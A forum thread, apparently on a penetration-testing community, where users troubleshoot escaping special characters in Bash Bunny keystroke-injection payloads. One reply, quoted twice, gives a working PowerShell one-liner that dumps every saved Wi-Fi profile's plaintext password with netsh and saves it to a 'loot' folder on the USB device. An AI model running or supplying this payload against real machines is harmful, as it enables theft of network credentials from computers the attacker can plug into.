Jump to content
illwill

Violation of CoC

Recommended Posts

Thanks guys

illwill could you please use and escape my script posted to work. ?

im pulling my hair out.

?

Share this post


Link to post
Share on other sites

ok now im pulling my hair out!

I cant get this to work! I found your thread when searching for how to escape special char, but it seem to not work for me. copying your code

Q STRING \$Bunny \= \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \|  Select-Object -ExpandProperty DriveLetter\)

in my bunny outputs this to notepad

$Bunny = (gwmi win32_volume -f <label=<<BashBunny<<< ~ Select-Object -ExpandProperty DriveLetter)

 

with the code I was working on before finding your post

this

STRING '$a = Get-WmiObject -Class Win32_Volume -Filter "Label='BashBunny'" | select -expand Name'

outputs

$a = Get-WmiObject -Class Win32_Volume -Filter @Label=BashBunny@ ~ select -expand Name

this is what made me realize that i needed to escape them

and in that your code does not work explains why most things that use hid don't seem to work for me..... 

and... I have no idea why....

 

Share this post


Link to post
Share on other sites

Perhaps? I'm located in Canada (not French Canada) and windows is setup with us eng keyboard I assume that's the default for the bunny as well? 

Share this post


Link to post
Share on other sites

this is old, but..

 

does the following work for you?

$'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' |  Select-Object -ExpandProperty DriveLetter)
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt'

Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters.

>echo $'isn\'t this easier?'
>isn't this easier?

 

Share this post


Link to post
Share on other sites
4 minutes ago, DataHead said:

this is old, but..

 

does the following work for you?

$'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' |  Select-Object -ExpandProperty DriveLetter)
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt'

Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters.

>echo $'isn\'t this easier?'
>isn't this easier?

 

not sure if you mean me, but after doing a factory reset mine started working normally, not sure what was screwed up with it the first time

Edited by jjd

Share this post


Link to post
Share on other sites

I believe if you enclose your command in double-quotes then the only thing you will have to escape is double-quotes you want to show up in typing and $.

Edited by PoSHMagiC0de

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...